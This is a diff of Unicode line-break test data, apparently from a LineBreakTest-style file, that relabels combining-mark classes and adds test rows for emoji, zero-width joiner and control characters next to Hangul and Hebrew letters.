+× AC01 × 0308 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× AC01 × 0308 × 0020 × 0020 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× AC01 × 002F ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [13.02] SOLIDUS (SY) ÷ [0.3]
× AC01 × 0020 × 002F ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× AC01 × 0308 × 002F ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× AC01 × 0308 × 0020 × 002F ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× AC01 × 0308 × 002F ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× AC01 × 0308 × 0020 × 002F ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× AC01 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× AC01 × 0020 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× AC01 × 0308 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× AC01 × 0308 × 0020 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× AC01 × 0308 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× AC01 × 0308 × 0020 × 2060 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× AC01 × 200B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× AC01 × 0020 × 200B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× AC01 × 0308 × 200B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× AC01 × 0308 × 0020 × 200B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× AC01 × 0308 × 200B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× AC01 × 0308 × 0020 × 200B ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× AC01 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× AC01 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× AC01 × 0308 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× AC01 × 0308 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× AC01 ÷ 261D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× AC01 × 0020 ÷ 261D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× AC01 × 0308 ÷ 261D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 261D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× AC01 ÷ 1F3FB ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× AC01 × 0020 ÷ 1F3FB ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× AC01 × 0308 ÷ 1F3FB ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× AC01 × 0001 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× AC01 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× AC01 × 0308 × 0001 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× AC01 × 200D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× AC01 × 0020 ÷ 200D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× AC01 × 0308 × 200D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 200D ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× AC01 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× AC01 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× AC01 × 0308 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× AC01 × 0308 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× AC01 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× AC01 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× AC01 × 0308 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× AC01 × 0308 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× AC01 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× AC01 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× AC01 × 0308 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× AC01 × 0308 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× AC01 × 3041 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× AC01 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× AC01 × 0308 × 3041 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× AC01 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× AC01 × 0308 × 3041 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× AC01 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL SYLLABLE GAG (H3) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 05D0 × 0023 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
× 05D0 × 0020 ÷ 0023 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 05D0 × 0308 × 0023 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 05D0 × 0308 × 0023 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 05D0 ÷ 2014 ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 05D0 × 0020 ÷ 2014 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 05D0 × 0308 ÷ 2014 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 05D0 × 0308 ÷ 2014 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 05D0 × 0009 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 05D0 × 0020 ÷ 0009 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 05D0 × 0308 × 0009 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 05D0 × 0308 × 0009 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 05D0 ÷ 00B4 ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 05D0 × 0020 ÷ 00B4 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 05D0 × 0308 ÷ 00B4 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 05D0 × 0308 ÷ 00B4 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 05D0 × 000B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 05D0 × 0020 × 000B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 05D0 × 0308 × 000B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 000B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 05D0 × 0308 × 000B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 000B ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 05D0 ÷ FFFC ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 05D0 × 0020 ÷ FFFC ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 05D0 × 0308 ÷ FFFC ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 05D0 × 0308 ÷ FFFC ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 05D0 × 007D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 05D0 × 0020 × 007D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 05D0 × 0308 × 007D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 007D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 05D0 × 0308 × 007D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 007D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 05D0 × 0029 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 05D0 × 0020 × 0029 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 05D0 × 0308 × 0029 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 0029 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 05D0 × 0001 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 05D0 × 0020 ÷ 0001 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 05D0 × 0308 × 0001 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 05D0 × 0308 × 0029 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 0029 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 05D0 × 000D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 05D0 × 0020 × 000D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 05D0 × 0308 × 000D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 000D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 05D0 × 0308 × 000D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 000D ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 05D0 × 0021 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 05D0 × 0020 × 0021 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 05D0 × 0308 × 0021 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 05D0 × 0308 × 0020 × 0021 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 05D0 × 0308 × 0021 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 05D0 × 0308 × 0020 × 0021 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 05D0 × 00A0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 05D0 × 0020 ÷ 00A0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 05D0 × 0308 × 00A0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 05D0 × 0308 × 00A0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 05D0 ÷ AC00 ÷ # × [0.3] HEBREW LETTER ALEF (HL) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 05D0 × 0020 ÷ AC00 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 05D0 × 0308 ÷ AC00 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 05D0 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 05D0 × 0308 ÷ AC00 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 05D0 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
